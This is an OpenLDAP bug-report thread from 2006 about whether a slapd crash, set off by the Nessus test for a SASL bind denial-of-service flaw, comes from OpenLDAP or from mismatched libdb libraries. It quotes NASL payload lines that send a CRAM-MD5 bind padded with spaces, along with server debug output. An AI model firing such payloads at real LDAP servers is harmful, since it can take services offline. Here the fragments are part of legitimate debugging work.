Kurt D. Zeilenga wrote:
> At 08:06 PM 11/27/2006, hyc@symas.com wrote:
>> Kurt@OpenLDAP.org wrote:
>>> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote:
>>>> Spoke too soon.
>>>> You code appears to be sending the same requests as
>>>> Nessus, at least as described here:
>>>>  http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625
>>>>
>>>> Suspect a mismatch between what you and Brian are
>>>> testing...
>>> Howard, is the normalized authcDN in your testing correct?
>> It has a single escaped space.
> 
> And that's correct (I was wrong before).  A directory string of
> N spaces normalizes to a single space, which must be escaped in
> the DN.
> 
> So it does seem like you and Brian are simply not running the
> same code.

The only difference between my current RE23 tree and 2.3.30 is in 
syncprov.c which is obviously not involved here. I would guess Brian's 
issue may be libsasl2 related, and no longer something resident in the 
OpenLDAP code. (E.g., conflicting libdb versions.)

-- 
   -- Howard Chu
   Chief Architect, Symas Corp.  http://www.symas.com
   Director, Highland Sun        http://highlandsun.com/hyc
   OpenLDAP Core Team            http://www.openldap.org/project/

Comment 11 Brian Thomas 2006-11-28 18:17:24 UTC
Entirely possible (conflicting libdb versions). However, this crash is 100%
reproduceable on my system using the Nessus test specifically for the bug at
issue here. Nessus script ID is 20939, entitled "OpenLDAP SASL Bind Denial
of Service Vulnerability".

I actually was going to try to reproduce the problem with a perl script but
it seemed more time than it was worth since I had a reliable failure case
with the NASL script.

I've searched to see if there appears to be a libdb conflict of some sort,
and can't find anything, but that may just mean I haven't looked hard
enough!

I spent some more time poring of the code last night, and nothing jumped out
at me. However, as a further data point, I played with the NASL script some
to send different data, and I can ONLY get the server to crash if I send
spaces. Specifically, the relevant (and hopefully self-documenting) line of
NASL script is as follows:

mkbyte(4) + mkbyte(0x82) + mkword(0x0400) + crap(data:" ", length:1024);

If 'data:" "' is changed to be 'data:"A"', for example, the server does not
crash, and the message in the debug output is what I expect (snipped for
brevity).

Last line of hex dump follows:
  0400:  41 41 41 41                                        AAAA
ber_scanf fmt (}}) ber:
ber_dump: buf=0x09ec9330 ptr=0x09ec974f end=0x09ec974f len=0

>>> dnPrettyNormal: <>
<<< dnPrettyNormal: <>, <>
do_sasl_bind: dn () mech CRAM-MD5
==> sasl_bind: dn="" mech=<continuing> datalen=1024
SASL [conn=3] Failure: need authentication name
send_ldap_result: conn=3 op=1 p=3
send_ldap_result: err=80 matched="" text="SASL(-5): bad protocol / cancel:
need authentication name"
send_ldap_response: msgid=509 tag=97 err=80
ber_flush: 72 bytes to sd 13

Does this help?

Brian

On 11/27/06, Howard Chu <hyc@symas.com> wrote:
>
> Kurt D. Zeilenga wrote:
> > At 08:06 PM 11/27/2006, hyc@symas.com wrote:
> >> Kurt@OpenLDAP.org wrote:
> >>> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote:
> >>>> Spoke too soon.
> >>>> You code appears to be sending the same requests as
> >>>> Nessus, at least as described here:
> >>>>  http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625
> >>>>
> >>>> Suspect a mismatch between what you and Brian are
> >>>> testing...
> >>> Howard, is the normalized authcDN in your testing correct?
> >> It has a single escaped space.
> >
> > And that's correct (I was wrong before).  A directory string of
> > N spaces normalizes to a single space, which must be escaped in
> > the DN.
> >
> > So it does seem like you and Brian are simply not running the
> > same code.
>
> The only difference between my current RE23 tree and 2.3.30 is in
> syncprov.c which is obviously not involved here. I would guess Brian's
> issue may be libsasl2 related, and no longer something resident in the
> OpenLDAP code. (E.g., conflicting libdb versions.)
>
> --
>    -- Howard Chu
>    Chief Architect, Symas Corp.  http://www.symas.com
>    Director, Highland Sun        http://highlandsun.com/hyc
>    OpenLDAP Core Team            http://www.openldap.org/project/
>
Comment 12 Brian Thomas 2006-11-28 19:29:04 UTC
So after playing with this a bit more, I think there may be 'something else'
going on, although what that something else is I'm not entirely sure. This
may be another facet of the bug, a new bug entirely, or nothing to do with
OpenLDAP code.

Specifically, I played around with what the NASL script was sending to the
server. I tried sending different space counts, followed by padding of some
other character ('A'), to see what it would do. I'm afraid the results
aren't as conclusive as I'd hoped.

1) If I send a SINGLE SPACE to start the data portion, like so:

      mkbyte(4) + mkbyte(8) + "CRAM-MD5" +
      mkbyte(4) + mkbyte(0x82) + mkword(0x0400) +
      crap(data:" ", length:1) +
      crap(data:"A", length:1023);

the server NEVER crashes, no matter how many times I try it.

2) If I send more than a single space, even just 2 (followed by 1022 A's,
for example), the server will USUALLY, but NOT ALWAYS crash. (Approx 80% of
the time it chokes)

3) If I send more than 64 spaces, the server ALWAYS crashes. I do not know
if 64 is a magic number; I originally started out trying to send only 254
spaces + padding, which reliably caused crashes, and kept ratching down the
number until I suddenly stopped getting crashes reliably at 64 spaces. I
started to send a eureka email of sorts, but a couple more tests yielded
crashes at 64, and now it's crashing relatively reliably (90% of the time,
I'd say) from spaces=2 on up.

Finally, and I'm not sure how significant this is, every time it crashes the
[len=XXX] portion of the slapd_sasl_getdn debug line is ONE CHARACTER LESS
than the number of spaces I send. So, for example, if I send 2 spaces
followed by 1022 A's, then I see:

slap_sasl_getdn: conn 10 id=  [len=1]

 If I send 64 spaces followed by 960 A's, then len=63, and so on. If the
server does not crash, getdn is never called, with SASL complaining
"Failure: need authentication name".

I'm not sure if this helps or just muddies the issue further.
Comment 13 Brian Thomas 2006-11-28 19:58:48 UTC
Sorry folks, it does look like a libdb mismatch. A little bit of poking
around found conflicting versions on the system and slapd opening both, and
setting up another testbed with 2.3.30 finds the server immune to the NASL
test.

Sorry to bother you guys, and thanks for the help.

Brian
Comment 14 Howard Chu 2009-02-17 05:20:13 UTC
moved from Software Bugs to Archive.Software Bugs
Comment 15 OpenLDAP project 2014-08-01 21:06:45 UTC
fixed in HEAD/re23